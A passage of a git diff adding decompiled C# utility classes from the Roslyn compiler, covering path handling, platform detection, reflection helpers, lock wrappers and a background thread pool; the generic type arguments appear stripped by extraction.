Microsoft.CodeAnalysis.PooledObjects; + +namespace Roslyn.Utilities; + +internal static class PathUtilities +{ + private class PathComparer : IEqualityComparer + { + public bool Equals(string? x, string? y) + { + if (x == null && y == null) + { + return true; + } + if (x == null || y == null) + { + return false; + } + return PathsEqual(x, y); + } + + public int GetHashCode(string? s) + { + return PathHashCode(s); + } + } + + internal static class TestAccessor + { + internal static string? GetDirectoryName(string path, bool isUnixLike) + { + return PathUtilities.GetDirectoryName(path, isUnixLike); + } + } + + internal const char AltDirectorySeparatorChar = '/'; + + internal const string ParentRelativeDirectory = ".."; + + internal const string ThisDirectory = "."; + + internal static readonly string DirectorySeparatorStr = new string(DirectorySeparatorChar, 1); + + internal const char VolumeSeparatorChar = ':'; + + private static readonly char[] s_pathChars = new char[3] { ':', DirectorySeparatorChar, '/' }; + + public static readonly IEqualityComparer Comparer = new PathComparer(); + + internal static char DirectorySeparatorChar => Path.DirectorySeparatorChar; + + internal static bool IsUnixLikePlatform => PlatformInformation.IsUnix; + + public static bool IsDirectorySeparator(char c) + { + if (c != DirectorySeparatorChar) + { + return c == '/'; + } + return true; + } + + public static bool IsAnyDirectorySeparator(char c) + { + if (c != '\\') + { + return c == '/'; + } + return true; + } + + public static string TrimTrailingSeparators(string s) + { + int num = s.Length; + while (num > 0 && IsDirectorySeparator(s[num - 1])) + { + num--; + } + if (num != s.Length) + { + s = s.Substring(0, num); + } + return s; + } + + public static string EnsureTrailingSeparator(string s) + { + if (s.Length == 0 || IsAnyDirectorySeparator(s[s.Length - 1])) + { + return s; + } + bool flag = s.IndexOf('/') >= 0; + bool flag2 = s.IndexOf('\\') >= 0; + if (flag && !flag2) + { + return s + "/"; + } + if (!flag && flag2) + { + return s + "\\"; + } + return s + DirectorySeparatorChar; + } + + public static string GetExtension(string path) + { + return FileNameUtilities.GetExtension(path); + } + + public static ReadOnlyMemory GetExtension(ReadOnlyMemory path) + { + return FileNameUtilities.GetExtension(path); + } + + public static string ChangeExtension(string path, string? extension) + { + return FileNameUtilities.ChangeExtension(path, extension); + } + + public static string RemoveExtension(string path) + { + return FileNameUtilities.ChangeExtension(path, null); + } + + [return: NotNullIfNotNull("path")] + public static string? GetFileName(string? path, bool includeExtension = true) + { + return FileNameUtilities.GetFileName(path, includeExtension); + } + + [return: NotNullIfNotNull("path")] + public static string? GetDirectoryName(string? path) + { + return GetDirectoryName(path, IsUnixLikePlatform); + } + + [return: NotNullIfNotNull("path")] + internal static string? GetDirectoryName(string? path, bool isUnixLike) + { + if (path != null) + { + int length = GetPathRoot(path, isUnixLike).Length; + if (path.Length > length) + { + int num = path.Length; + while (num > length) + { + num--; + if (IsDirectorySeparator(path[num]) && (num <= 0 || !IsDirectorySeparator(path[num - 1]))) + { + break; + } + } + return path.Substring(0, num); + } + } + return null; + } + + internal static bool IsSameDirectoryOrChildOf(string child, string parent) + { + parent = RemoveTrailingDirectorySeparator(parent); + string text; + for (text = child; text != null; text = GetDirectoryName(text)) + { + text = RemoveTrailingDirectorySeparator(text); + if (text.Equals(parent, StringComparison.OrdinalIgnoreCase)) + { + return true; + } + } + return false; + } + + [return: NotNullIfNotNull("path")] + public static string? GetPathRoot(string? path) + { + return GetPathRoot(path, IsUnixLikePlatform); + } + + [return: NotNullIfNotNull("path")] + private static string? GetPathRoot(string? path, bool isUnixLike) + { + if (path == null) + { + return null; + } + if (isUnixLike) + { + return GetUnixRoot(path); + } + return GetWindowsRoot(path); + } + + private static string GetWindowsRoot(string path) + { + int length = path.Length; + if (length >= 1 && IsDirectorySeparator(path[0])) + { + if (length < 2 || !IsDirectorySeparator(path[1])) + { + return path.Substring(0, 1); + } + int i = 2; + i = ConsumeDirectorySeparators(path, length, i); + bool flag = false; + while (true) + { + if (i == length) + { + return path; + } + if (!IsDirectorySeparator(path[i])) + { + i++; + continue; + } + if (flag) + { + break; + } + flag = true; + i = ConsumeDirectorySeparators(path, length, i); + } + return path.Substring(0, i); + } + if (length >= 2 && path[1] == ':') + { + if (length < 3 || !IsDirectorySeparator(path[2])) + { + return path.Substring(0, 2); + } + return path.Substring(0, 3); + } + return ""; + } + + private static int ConsumeDirectorySeparators(string path, int length, int i) + { + while (i < length && IsDirectorySeparator(path[i])) + { + i++; + } + return i; + } + + private static string GetUnixRoot(string path) + { + if (path.Length <= 0 || !IsDirectorySeparator(path[0])) + { + return ""; + } + return path.Substring(0, 1); + } + + public static PathKind GetPathKind(string? path) + { + if (RoslynString.IsNullOrWhiteSpace(path)) + { + return PathKind.Empty; + } + if (IsAbsolute(path)) + { + return PathKind.Absolute; + } + if (path.Length > 0 && path[0] == '.') + { + if (path.Length == 1 || IsDirectorySeparator(path[1])) + { + return PathKind.RelativeToCurrentDirectory; + } + if (path[1] == '.' && (path.Length == 2 || IsDirectorySeparator(path[2]))) + { + return PathKind.RelativeToCurrentParent; + } + } + if (!IsUnixLikePlatform) + { + if (path.Length >= 1 && IsDirectorySeparator(path[0])) + { + return PathKind.RelativeToCurrentRoot; + } + if (path.Length >= 2 && path[1] == ':' && (path.Length <= 2 || !IsDirectorySeparator(path[2]))) + { + return PathKind.RelativeToDriveDirectory; + } + } + return PathKind.Relative; + } + + public static bool IsAbsolute([NotNullWhen(true)] string? path) + { + if (RoslynString.IsNullOrEmpty(path)) + { + return false; + } + if (IsUnixLikePlatform) + { + return path[0] == DirectorySeparatorChar; + } + if (IsDriveRootedAbsolutePath(path)) + { + return true; + } + if (path.Length >= 2 && IsDirectorySeparator(path[0])) + { + return IsDirectorySeparator(path[1]); + } + return false; + } + + private static bool IsDriveRootedAbsolutePath(string path) + { + if (path.Length >= 3 && path[1] == ':') + { + return IsDirectorySeparator(path[2]); + } + return false; + } + + public static string? CombineAbsoluteAndRelativePaths(string root, string relativePath) + { + return CombinePossiblyRelativeAndRelativePaths(root, relativePath); + } + + public static string? CombinePossiblyRelativeAndRelativePaths(string? root, string? relativePath) + { + if (RoslynString.IsNullOrEmpty(root)) + { + return null; + } + switch (GetPathKind(relativePath)) + { + case PathKind.Empty: + return root; + case PathKind.RelativeToCurrentRoot: + case PathKind.RelativeToDriveDirectory: + case PathKind.Absolute: + return null; + default: + return CombinePathsUnchecked(root, relativePath); + } + } + + public static string CombinePathsUnchecked(string root, string? relativePath) + { + char c = root[root.Length - 1]; + if (!IsDirectorySeparator(c) && c != ':') + { + return root + DirectorySeparatorStr + relativePath; + } + return root + relativePath; + } + + [return: NotNullIfNotNull("path")] + public static string? CombinePaths(string? root, string? path) + { + if (RoslynString.IsNullOrEmpty(root)) + { + return path; + } + if (RoslynString.IsNullOrEmpty(path)) + { + return root; + } + if (!IsAbsolute(path)) + { + return CombinePathsUnchecked(root, path); + } + return path; + } + + private static string RemoveTrailingDirectorySeparator(string path) + { + if (path.Length > 0 && IsDirectorySeparator(path[path.Length - 1])) + { + return path.Substring(0, path.Length - 1); + } + return path; + } + + public static bool IsFilePath(string assemblyDisplayNameOrPath) + { + string extension = FileNameUtilities.GetExtension(assemblyDisplayNameOrPath); + if (!string.Equals(extension, ".dll", StringComparison.OrdinalIgnoreCase) && !string.Equals(extension, ".exe", StringComparison.OrdinalIgnoreCase) && assemblyDisplayNameOrPath.IndexOf(DirectorySeparatorChar) == -1) + { + return assemblyDisplayNameOrPath.IndexOf('/') != -1; + } + return true; + } + + public static bool ContainsPathComponent(string? path, string component, bool ignoreCase) + { + StringComparison comparisonType = (ignoreCase ? StringComparison.OrdinalIgnoreCase : StringComparison.Ordinal); + if (path != null && path.IndexOf(component, comparisonType) >= 0) + { + StringComparer stringComparer = (ignoreCase ? StringComparer.OrdinalIgnoreCase : StringComparer.Ordinal); + int num = 0; + string text = path; + while (text != null) + { + string fileName = GetFileName(text); + if (stringComparer.Equals(fileName, component)) + { + return true; + } + text = GetDirectoryName(text); + num++; + } + } + return false; + } + + public static string GetRelativePath(string directory, string fullPath) + { + string text = string.Empty; + directory = TrimTrailingSeparators(directory); + fullPath = TrimTrailingSeparators(fullPath); + if (IsChildPath(directory, fullPath)) + { + return GetRelativeChildPath(directory, fullPath); + } + string[] pathParts = GetPathParts(directory); + string[] pathParts2 = GetPathParts(fullPath); + if (pathParts.Length == 0 || pathParts2.Length == 0) + { + return fullPath; + } + int i; + for (i = 0; i < pathParts.Length && PathsEqual(pathParts[i], pathParts2[i]); i++) + { + } + if (i == 0) + { + return fullPath; + } + int num = pathParts.Length - i; + if (num > 0) + { + for (int j = 0; j < num; j++) + { + text = text + ".." + DirectorySeparatorStr; + } + } + for (int k = i; k < pathParts2.Length; k++) + { + text = CombinePathsUnchecked(text, pathParts2[k]); + } + return text; + } + + public static bool IsChildPath(string parentPath, string childPath) + { + if (parentPath.Length > 0 && childPath.Length > parentPath.Length && PathsEqual(childPath, parentPath, parentPath.Length)) + { + if (!IsDirectorySeparator(parentPath[parentPath.Length - 1])) + { + return IsDirectorySeparator(childPath[parentPath.Length]); + } + return true; + } + return false; + } + + private static string GetRelativeChildPath(string parentPath, string childPath) + { + string text = childPath.Substring(parentPath.Length); + int num = ConsumeDirectorySeparators(text, text.Length, 0); + if (num > 0) + { + text = text.Substring(num); + } + return text; + } + + private static string[] GetPathParts(string path) + { + string[] array = path.Split(s_pathChars); + if (array.Contains(".")) + { + array = array.Where((string s) => s != ".").ToArray(); + } + return array; + } + + public static bool PathsEqual(string path1, string path2) + { + return PathsEqual(path1, path2, Math.Max(path1.Length, path2.Length)); + } + + private static bool PathsEqual(string path1, string path2, int length) + { + if (path1.Length < length || path2.Length < length) + { + return false; + } + for (int i = 0; i < length; i++) + { + if (!PathCharEqual(path1[i], path2[i])) + { + return false; + } + } + return true; + } + + private static bool PathCharEqual(char x, char y) + { + if (IsDirectorySeparator(x) && IsDirectorySeparator(y)) + { + return true; + } + if (!IsUnixLikePlatform) + { + return char.ToUpperInvariant(x) == char.ToUpperInvariant(y); + } + return x == y; + } + + private static int PathHashCode(string? path) + { + int num = 0; + if (path != null) + { + foreach (char c in path) + { + if (!IsDirectorySeparator(c)) + { + num = Hash.Combine((int)char.ToUpperInvariant(c), num); + } + } + } + return num; + } + + public static string NormalizePathPrefix(string filePath, ImmutableArray> pathMap) + { + if (pathMap.IsDefaultOrEmpty) + { + return filePath; + } + ImmutableArray>.Enumerator enumerator = pathMap.GetEnumerator(); + while (enumerator.MoveNext()) + { + KeyValuePair current = enumerator.Current; + string key = current.Key; + if (key == null || key.Length <= 0 || !filePath.StartsWith(key, StringComparison.Ordinal)) + { + continue; + } + string value = current.Value; + string text = value + filePath.Substring(key.Length); + bool flag = value.IndexOf('/') >= 0; + bool flag2 = value.IndexOf('\\') >= 0; + if (!flag || flag2) + { + if (!flag2 || flag) + { + return text; + } + return text.Replace('/', '\\'); + } + return text.Replace('\\', '/'); + } + return filePath; + } + + public static bool IsValidFilePath([NotNullWhen(true)] string? fullPath) + { + try + { + if (RoslynString.IsNullOrEmpty(fullPath)) + { + return false; + } + return !string.IsNullOrEmpty(new FileInfo(fullPath).Name); + } + catch (Exception ex) when (ex is ArgumentException || ex is PathTooLongException || ex is NotSupportedException) + { + return false; + } + } + + public static string NormalizeWithForwardSlash(string p) + { + if (DirectorySeparatorChar != '/') + { + return p.Replace(DirectorySeparatorChar, '/'); + } + return p; + } + + public static string ExpandAbsolutePathWithRelativeParts(string p) + { + bool flag = !IsUnixLikePlatform && IsDriveRootedAbsolutePath(p); + if (!flag && (p.Length <= 1 || p[0] != '/')) + { + return p; + } + string[] pathParts = GetPathParts(p); + string text = (flag ? p.Substring(0, 2) : string.Empty); + int count = ((!flag) ? 1 : 2); + ArrayBuilder instance = ArrayBuilder.GetInstance(); + foreach (string item in pathParts.Skip(count)) + { + if (!item.Equals("..")) + { + instance.Push(item); + } + else if (instance.Count > 0) + { + instance.Pop(); + } + } + string result = text + "/" + string.Join("/", instance); + instance.Free(); + return result; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/PerformanceSensitiveAttribute.cs b/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/PerformanceSensitiveAttribute.cs new file mode 100644 index 0000000..ce2060e --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/PerformanceSensitiveAttribute.cs @@ -0,0 +1,30 @@ +using System; +using System.Diagnostics; + +namespace Roslyn.Utilities; + +[Conditional("EMIT_CODE_ANALYSIS_ATTRIBUTES")] +[AttributeUsage(AttributeTargets.Constructor | AttributeTargets.Method | AttributeTargets.Property | AttributeTargets.Field, AllowMultiple = true, Inherited = false)] +internal sealed class PerformanceSensitiveAttribute : Attribute +{ + public string Uri { get; } + + public string Constraint { get; set; } + + public bool AllowCaptures { get; set; } + + public bool AllowImplicitBoxing { get; set; } + + public bool AllowGenericEnumeration { get; set; } + + public bool AllowLocks { get; set; } + + public bool OftenCompletesSynchronously { get; set; } + + public bool IsParallelEntry { get; set; } + + public PerformanceSensitiveAttribute(string uri) + { + Uri = uri; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/PlatformInformation.cs b/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/PlatformInformation.cs new file mode 100644 index 0000000..dc059b1 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/PlatformInformation.cs @@ -0,0 +1,41 @@ +using System; +using System.IO; + +namespace Roslyn.Utilities; + +internal static class PlatformInformation +{ + public static bool IsWindows => Path.DirectorySeparatorChar == '\\'; + + public static bool IsUnix => Path.DirectorySeparatorChar == '/'; + + public static bool IsRunningOnMono + { + get + { + try + { + return (object)Type.GetType("Mono.Runtime") != null; + } + catch + { + return false; + } + } + } + + public static bool IsUsingMonoRuntime + { + get + { + try + { + return (object)Type.GetType("Mono.RuntimeStructs", throwOnError: false) != null; + } + catch + { + return false; + } + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/Predicates.cs b/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/Predicates.cs new file mode 100644 index 0000000..672c25e --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/Predicates.cs @@ -0,0 +1,8 @@ +using System; + +namespace Roslyn.Utilities; + +internal static class Predicates +{ + public static readonly Predicate True = (T t) => true; +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/ReaderWriterLockSlimExtensions.cs b/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/ReaderWriterLockSlimExtensions.cs new file mode 100644 index 0000000..50efe48 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/ReaderWriterLockSlimExtensions.cs @@ -0,0 +1,98 @@ +using System; +using System.Threading; + +namespace Roslyn.Utilities; + +internal static class ReaderWriterLockSlimExtensions +{ + [NonCopyable] + internal readonly struct ReadLockExiter : IDisposable + { + private readonly ReaderWriterLockSlim _lock; + + internal ReadLockExiter(ReaderWriterLockSlim @lock) + { + _lock = @lock; + @lock.EnterReadLock(); + } + + public void Dispose() + { + _lock.ExitReadLock(); + } + } + + [NonCopyable] + internal readonly struct UpgradeableReadLockExiter : IDisposable + { + private readonly ReaderWriterLockSlim _lock; + + internal UpgradeableReadLockExiter(ReaderWriterLockSlim @lock) + { + _lock = @lock; + @lock.EnterUpgradeableReadLock(); + } + + public void Dispose() + { + if (_lock.IsWriteLockHeld) + { + _lock.ExitWriteLock(); + } + _lock.ExitUpgradeableReadLock(); + } + + public void EnterWrite() + { + _lock.EnterWriteLock(); + } + } + + [NonCopyable] + internal readonly struct WriteLockExiter : IDisposable + { + private readonly ReaderWriterLockSlim _lock; + + internal WriteLockExiter(ReaderWriterLockSlim @lock) + { + _lock = @lock; + @lock.EnterWriteLock(); + } + + public void Dispose() + { + _lock.ExitWriteLock(); + } + } + + internal static ReadLockExiter DisposableRead(this ReaderWriterLockSlim @lock) + { + return new ReadLockExiter(@lock); + } + + internal static UpgradeableReadLockExiter DisposableUpgradeableRead(this ReaderWriterLockSlim @lock) + { + return new UpgradeableReadLockExiter(@lock); + } + + internal static WriteLockExiter DisposableWrite(this ReaderWriterLockSlim @lock) + { + return new WriteLockExiter(@lock); + } + + internal static void AssertCanRead(this ReaderWriterLockSlim @lock) + { + if (!@lock.IsReadLockHeld && !@lock.IsUpgradeableReadLockHeld && !@lock.IsWriteLockHeld) + { + throw new InvalidOperationException(); + } + } + + internal static void AssertCanWrite(this ReaderWriterLockSlim @lock) + { + if (!@lock.IsWriteLockHeld) + { + throw new InvalidOperationException(); + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/ReferenceEqualityComparer.cs b/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/ReferenceEqualityComparer.cs new file mode 100644 index 0000000..d471642 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/ReferenceEqualityComparer.cs @@ -0,0 +1,28 @@ +using System.Collections.Generic; +using System.Runtime.CompilerServices; + +namespace Roslyn.Utilities; + +internal class ReferenceEqualityComparer : IEqualityComparer +{ + public static readonly ReferenceEqualityComparer Instance = new ReferenceEqualityComparer(); + + private ReferenceEqualityComparer() + { + } + + bool IEqualityComparer.Equals(object? a, object? b) + { + return a == b; + } + + int IEqualityComparer.GetHashCode(object? a) + { + return GetHashCode(a); + } + + public static int GetHashCode(object? a) + { + return RuntimeHelpers.GetHashCode(a); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/ReflectionUtilities.cs b/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/ReflectionUtilities.cs new file mode 100644 index 0000000..7d4cb07 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/ReflectionUtilities.cs @@ -0,0 +1,132 @@ +using System; +using System.Collections.Generic; +using System.Diagnostics.CodeAnalysis; +using System.Reflection; +using System.Runtime.ExceptionServices; + +namespace Roslyn.Utilities; + +internal static class ReflectionUtilities +{ + private static readonly Type Missing = typeof(void); + + public static Type? TryGetType(string assemblyQualifiedName) + { + try + { + return Type.GetType(assemblyQualifiedName, throwOnError: false); + } + catch + { + return null; + } + } + + public static Type? TryGetType([NotNull] ref Type? lazyType, string assemblyQualifiedName) + { + if (lazyType == null) + { + lazyType = TryGetType(assemblyQualifiedName) ?? Missing; + } + if (!(lazyType == Missing)) + { + return lazyType; + } + return null; + } + + public static Type? GetTypeFromEither(string contractName, string desktopName) + { + Type type = TryGetType(contractName); + if (type == null) + { + type = TryGetType(desktopName); + } + return type; + } + + public static Type? GetTypeFromEither([NotNull] ref Type? lazyType, string contractName, string desktopName) + { + if (lazyType == null) + { + lazyType = GetTypeFromEither(contractName, desktopName) ?? Missing; + } + if (!(lazyType == Missing)) + { + return lazyType; + } + return null; + } + + public static T? FindItem(IEnumerable collection, params Type[] paramTypes) where T : MethodBase + { + foreach (T item in collection) + { + ParameterInfo[] parameters = item.GetParameters(); + if (parameters.Length != paramTypes.Length) + { + continue; + } + bool flag = true; + for (int i = 0; i < paramTypes.Length; i++) + { + if (parameters[i].ParameterType != paramTypes[i]) + { + flag = false; + break; + } + } + if (flag) + { + return item; + } + } + return null; + } + + internal static MethodInfo? GetDeclaredMethod(this TypeInfo typeInfo, string name, params Type[] paramTypes) + { + return FindItem(typeInfo.GetDeclaredMethods(name), paramTypes); + } + + internal static ConstructorInfo? GetDeclaredConstructor(this TypeInfo typeInfo, params Type[] paramTypes) + { + return FindItem(typeInfo.DeclaredConstructors, paramTypes); + } + + public static T? CreateDelegate(this MethodInfo? methodInfo) where T : Delegate + { + if (methodInfo == null) + { + return null; + } + return (T)methodInfo.CreateDelegate(typeof(T)); + } + + public static T? InvokeConstructor(this ConstructorInfo? constructorInfo, params object?[] args) + { + if (constructorInfo == null) + { + return default(T); + } + try + { + return (T)constructorInfo.Invoke(args); + } + catch (TargetInvocationException ex) + { + ExceptionDispatchInfo.Capture(ex.InnerException).Throw(); + return default(T); + } + } + + public static object? InvokeConstructor(this ConstructorInfo constructorInfo, params object?[] args) + { + return constructorInfo.InvokeConstructor(args); + } + + public static T? Invoke(this MethodInfo methodInfo, object obj, params object?[] args) + { + return (T)methodInfo.Invoke(obj, args); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/RoslynDebug.cs b/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/RoslynDebug.cs new file mode 100644 index 0000000..939f71b --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/RoslynDebug.cs @@ -0,0 +1,39 @@ +using System; +using System.Diagnostics; +using System.Diagnostics.CodeAnalysis; + +namespace Roslyn.Utilities; + +internal static class RoslynDebug +{ + [Conditional("DEBUG")] + public static void Assert([DoesNotReturnIf(false)] bool b) + { + } + + [Conditional("DEBUG")] + public static void Assert([DoesNotReturnIf(false)] bool b, string message) + { + } + + [Conditional("DEBUG")] + public static void AssertNotNull([NotNull] T value) + { + } + + [Conditional("DEBUG")] + internal static void AssertOrFailFast([DoesNotReturnIf(false)] bool condition, string? message = null) + { + if (!condition && !string.IsNullOrEmpty(Environment.GetEnvironmentVariable("HELIX_DUMP_FOLDER"))) + { + if (message == null) + { + message = "AssertOrFailFast failed"; + } + StackTrace value = new StackTrace(); + Console.WriteLine(message); + Console.WriteLine(value); + Environment.FailFast(message); + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/RoslynLazyInitializer.cs b/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/RoslynLazyInitializer.cs new file mode 100644 index 0000000..67d7ff3 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/RoslynLazyInitializer.cs @@ -0,0 +1,28 @@ +using System; +using System.Diagnostics.CodeAnalysis; +using System.Threading; + +namespace Roslyn.Utilities; + +internal static class RoslynLazyInitializer +{ + public static T EnsureInitialized([NotNull] ref T? target) where T : class + { + return LazyInitializer.EnsureInitialized(ref target); + } + + public static T EnsureInitialized([NotNull] ref T? target, Func valueFactory) where T : class + { + return LazyInitializer.EnsureInitialized(ref target, valueFactory); + } + + public static T EnsureInitialized([NotNull] ref T? target, ref bool initialized, [NotNullIfNotNull("syncLock")] ref object? syncLock) + { + return LazyInitializer.EnsureInitialized(ref target, ref initialized, ref syncLock); + } + + public static T EnsureInitialized([NotNull] ref T? target, ref bool initialized, [NotNullIfNotNull("syncLock")] ref object? syncLock, Func valueFactory) + { + return LazyInitializer.EnsureInitialized(ref target, ref initialized, ref syncLock, valueFactory); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/RoslynParallel.cs b/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/RoslynParallel.cs new file mode 100644 index 0000000..8904d76 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/RoslynParallel.cs @@ -0,0 +1,36 @@ +using System; +using System.Threading; +using System.Threading.Tasks; +using Microsoft.CodeAnalysis.ErrorReporting; + +namespace Roslyn.Utilities; + +internal static class RoslynParallel +{ + internal static readonly ParallelOptions DefaultParallelOptions = new ParallelOptions(); + + public static ParallelLoopResult For(int fromInclusive, int toExclusive, Action body, CancellationToken cancellationToken) + { + ParallelOptions parallelOptions = (cancellationToken.CanBeCanceled ? new ParallelOptions + { + CancellationToken = cancellationToken + } : DefaultParallelOptions); + return Parallel.For(fromInclusive, toExclusive, parallelOptions, errorHandlingBody); + void errorHandlingBody(int i) + { + try + { + body(i); + } + catch (Exception exception) when (FatalError.ReportAndPropagateUnlessCanceled(exception, cancellationToken)) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/Core/Portable/InternalUtilities/RoslynParallel.cs", 34); + } + catch (OperationCanceledException ex) when (cancellationToken.IsCancellationRequested && ex.CancellationToken != cancellationToken) + { + cancellationToken.ThrowIfCancellationRequested(); + throw ExceptionUtilities.Unreachable("/_/src/Compilers/Core/Portable/InternalUtilities/RoslynParallel.cs", 41); + } + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/RoslynString.cs b/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/RoslynString.cs new file mode 100644 index 0000000..84906b4 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/RoslynString.cs @@ -0,0 +1,16 @@ +using System.Diagnostics.CodeAnalysis; + +namespace Roslyn.Utilities; + +internal static class RoslynString +{ + public static bool IsNullOrEmpty([NotNullWhen(false)] string? value) + { + return string.IsNullOrEmpty(value); + } + + public static bool IsNullOrWhiteSpace([NotNullWhen(false)] string? value) + { + return string.IsNullOrWhiteSpace(value); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/SemaphoreSlimExtensions.cs b/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/SemaphoreSlimExtensions.cs new file mode 100644 index 0000000..e79922e --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/SemaphoreSlimExtensions.cs @@ -0,0 +1,31 @@ +using System; +using System.Threading; +using System.Threading.Tasks; + +namespace Roslyn.Utilities; + +internal static class SemaphoreSlimExtensions +{ + [NonCopyable] + internal struct SemaphoreDisposer(SemaphoreSlim semaphore) : IDisposable + { + private SemaphoreSlim? _semaphore = semaphore; + + public void Dispose() + { + (Interlocked.Exchange(ref _semaphore, null) ?? throw new ObjectDisposedException("Somehow a SemaphoreDisposer is being disposed twice.")).Release(); + } + } + + public static SemaphoreDisposer DisposableWait(this SemaphoreSlim semaphore, CancellationToken cancellationToken = default(CancellationToken)) + { + semaphore.Wait(cancellationToken); + return new SemaphoreDisposer(semaphore); + } + + public static async ValueTask DisposableWaitAsync(this SemaphoreSlim semaphore, CancellationToken cancellationToken = default(CancellationToken)) + { + await semaphore.WaitAsync(cancellationToken).ConfigureAwait(continueOnCapturedContext: false); + return new SemaphoreDisposer(semaphore); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/SerializationThreadPool.cs b/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/SerializationThreadPool.cs new file mode 100644 index 0000000..95f6031 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/SerializationThreadPool.cs @@ -0,0 +1,117 @@ +using System; +using System.Collections.Generic; +using System.Threading; +using System.Threading.Tasks; + +namespace Roslyn.Utilities; + +internal static class SerializationThreadPool +{ + private static class ImmediateBackgroundThreadPool + { + private static readonly TimeSpan s_idleTimeout = TimeSpan.FromSeconds(1.0); + + private static readonly Queue<(Delegate function, object? state, TaskCompletionSource tcs)> s_queue = new Queue<(Delegate, object, TaskCompletionSource)>(); + + private static int s_availableThreads = 0; + + public static Task QueueAsync(Func threadStart) + { + return QueueAsync(threadStart, null); + } + + public static Task QueueAsync(Func threadStart, object? state) + { + return QueueAsync((Delegate)threadStart, state); + } + + private static Task QueueAsync(Delegate threadStart, object? state) + { + TaskCompletionSource taskCompletionSource = new TaskCompletionSource(TaskCreationOptions.RunContinuationsAsynchronously); + enqueue((function: threadStart, state: state, tcs: taskCompletionSource)); + return taskCompletionSource.Task; + static void createThread() + { + Thread thread = new Thread((ThreadStart)delegate + { + (Delegate, object, TaskCompletionSource) item; + while (tryDequeue(out item)) + { + try + { + if (item.Item1 is Func func) + { + item.Item3.SetResult(func(item.Item2)); + } + else + { + item.Item3.SetResult(((Func)item.Item1)()); + } + } + catch (OperationCanceledException ex) + { + item.Item3.TrySetCanceled(ex.CancellationToken); + } + catch (Exception exception) + { + item.Item3.TrySetException(exception); + } + } + }); + thread.IsBackground = true; + thread.Start(); + } + static void enqueue((Delegate function, object? state, TaskCompletionSource tcs) item) + { + lock (s_queue) + { + s_queue.Enqueue(item); + if (s_queue.Count <= s_availableThreads) + { + Monitor.Pulse(s_queue); + return; + } + } + createThread(); + } + static bool tryDequeue(out (Delegate function, object? state, TaskCompletionSource tcs) item) + { + lock (s_queue) + { + s_availableThreads++; + try + { + while (s_queue.Count == 0) + { + if (!Monitor.Wait(s_queue, s_idleTimeout)) + { + if (s_queue.Count > 0) + { + break; + } + item = default((Delegate, object, TaskCompletionSource)); + return false; + } + } + } + finally + { + s_availableThreads--; + } + item = s_queue.Dequeue(); + return true; + } + } + } + } + + public static Task RunOnBackgroundThreadAsync(Func start) + { + return ImmediateBackgroundThreadPool.QueueAsync(start); + } + + public static Task RunOnBackgroundThreadAsync(Func start, object? obj) + { + return ImmediateBackgroundThreadPool.QueueAsync(start, obj); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/SetWithInsertionOrder.cs b/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/SetWithInsertionOrder.cs new file mode 100644 index 0000000..128c8fb --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/SetWithInsertionOrder.cs @@ -0,0 +1,100 @@ +using System; +using System.Collections; +using System.Collections.Generic; +using System.Collections.Immutable; +using Microsoft.CodeAnalysis.PooledObjects; + +namespace Roslyn.Utilities; + +internal sealed class SetWithInsertionOrder : IEnumerable, IEnumerable, IReadOnlySet +{ + private HashSet? _set; + + private ArrayBuilder? _elements; + + public int Count => _elements?.Count ?? 0; + + public T this[int i] => _elements[i]; + + public bool Add(T value) + { + if (_set == null) + { + _set = new HashSet(); + _elements = new ArrayBuilder(); + } + if (!_set.Add(value)) + { + return false; + } + _elements.Add(value); + return true; + } + + public bool Insert(int index, T value) + { + if (_set == null) + { + if (index > 0) + { + throw new IndexOutOfRangeException(); + } + Add(value); + } + else + { + if (!_set.Add(value)) + { + return false; + } + try + { + _elements.Insert(index, value); + } + catch + { 